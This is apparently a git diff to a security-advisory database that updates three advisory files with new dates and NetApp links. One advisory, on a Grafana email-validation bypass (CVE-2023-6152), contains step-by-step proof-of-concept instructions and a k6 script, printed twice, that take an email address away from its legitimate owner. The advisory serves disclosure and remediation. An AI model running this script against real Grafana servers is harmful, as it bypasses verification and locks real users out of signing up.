diff --git a/advisories/github-reviewed/2024/02/GHSA-3hv4-r2fm-h27f/GHSA-3hv4-r2fm-h27f.json b/advisories/github-reviewed/2024/02/GHSA-3hv4-r2fm-h27f/GHSA-3hv4-r2fm-h27f.json index eca373c2344..e556e649aac 100644 --- a/advisories/github-reviewed/2024/02/GHSA-3hv4-r2fm-h27f/GHSA-3hv4-r2fm-h27f.json +++ b/advisories/github-reviewed/2024/02/GHSA-3hv4-r2fm-h27f/GHSA-3hv4-r2fm-h27f.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-3hv4-r2fm-h27f", - "modified": "2024-02-14T14:54:11Z", + "modified": "2025-02-18T22:29:35Z", "published": "2024-02-13T22:25:10Z", "aliases": [ "CVE-2023-6152" ], "summary": "Email Validation Bypass And Preventing Sign Up From Email's Owner", - "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n scenarios: {\n perVuIter: {\n executor: 'per-vu-iterations',\n vus: 1,\n iterations: 1\n }\n }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n group(\"create user_a with email foo@example.com\", () => {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200\n })\n })\n\n group(\"change user_a login to bar@example.com\", () => {\n const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"login\": \"bar@example.com\", // user_b email.\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200\n })\n })\n\n http.cookieJar().clear(GRAFANA_URL)\n\n group(\"create user_b with email bar@example.com\", () => {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"bar@example.com\",\n \"username\": \"bar@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200 // fail\n })\n })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.\n", + "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n scenarios: {\n perVuIter: {\n executor: 'per-vu-iterations',\n vus: 1,\n iterations: 1\n }\n }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n group(\"create user_a with email foo@example.com\", () => {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200\n })\n })\n\n group(\"change user_a login to bar@example.com\", () => {\n const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n \"email\": \"foo@example.com\",\n \"login\": \"bar@example.com\", // user_b email.\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200\n })\n })\n\n http.cookieJar().clear(GRAFANA_URL)\n\n group(\"create user_b with email bar@example.com\", () => {\n const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n \"email\": \"bar@example.com\",\n \"username\": \"bar@example.com\",\n \"password\": \"password\"\n }), {\n headers: {\n 'Content-Type': \"application/json\"\n }\n })\n\n check(response, {\n 'status code is 200': (r) => r.status == 200 // fail\n })\n })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.", "severity": [ { "type": "CVSS_V3", @@ -127,6 +127,10 @@ { "type": "WEB", "url": "https://grafana.com/security/security-advisories/cve-2023-6152" + }, + { + "type": "WEB", + "url": "https://security.netapp.com/advisory/ntap-20250214-0008" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/01/GHSA-68r2-fwcg-qpm8/GHSA-68r2-fwcg-qpm8.json b/advisories/github-reviewed/2025/01/GHSA-68r2-fwcg-qpm8/GHSA-68r2-fwcg-qpm8.json index 6ce389d1e05..088c01401d8 100644 --- a/advisories/github-reviewed/2025/01/GHSA-68r2-fwcg-qpm8/GHSA-68r2-fwcg-qpm8.json +++ b/advisories/github-reviewed/2025/01/GHSA-68r2-fwcg-qpm8/GHSA-68r2-fwcg-qpm8.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-68r2-fwcg-qpm8", - "modified": "2025-01-27T17:22:49Z", + "modified": "2025-02-18T22:30:39Z", "published": "2025-01-27T09:30:35Z", "aliases": [ "CVE-2025-24814" @@ -56,6 +56,10 @@ "type": "WEB", "url": "https://lists.apache.org/thread/gl291pn8x9f9n52ys5l0pc0b6qtf0qw1" }, + { + "type": "WEB", + "url": "https://security.netapp.com/advisory/ntap-20250214-0002" + }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/01/26/1" diff --git a/advisories/github-reviewed/2025/01/GHSA-fh5r-crhr-qrrq/GHSA-fh5r-crhr-qrrq.json b/advisories/github-reviewed/2025/01/GHSA-fh5r-crhr-qrrq/GHSA-fh5r-crhr-qrrq.json index 5df2eed364b..4ae6985123c 100644 --- a/advisories/github-reviewed/2025/01/GHSA-fh5r-crhr-qrrq/GHSA-fh5r-crhr-qrrq.json +++ b/advisories/github-reviewed/2025/01/GHSA-fh5r-crhr-qrrq/GHSA-fh5r-crhr-qrrq.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-fh5r-crhr-qrrq", - "modified": "2025-02-11T19:05:47Z", + "modified": "2025-02-18T22:30:06Z", "published": "2025-01-21T12:30:47Z", "aliases": [ "CVE-2025-23184" @@ -98,6 +98,10 @@ "type": "WEB", "url": "https://lists.apache.org/thread/lfs8l63rnctnj2skfrxyys7v8fgnt122" }, + { + "type": "WEB", + "url": "https://security.netapp.com/advisory/ntap-20250214-0003" + }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/01/20/3"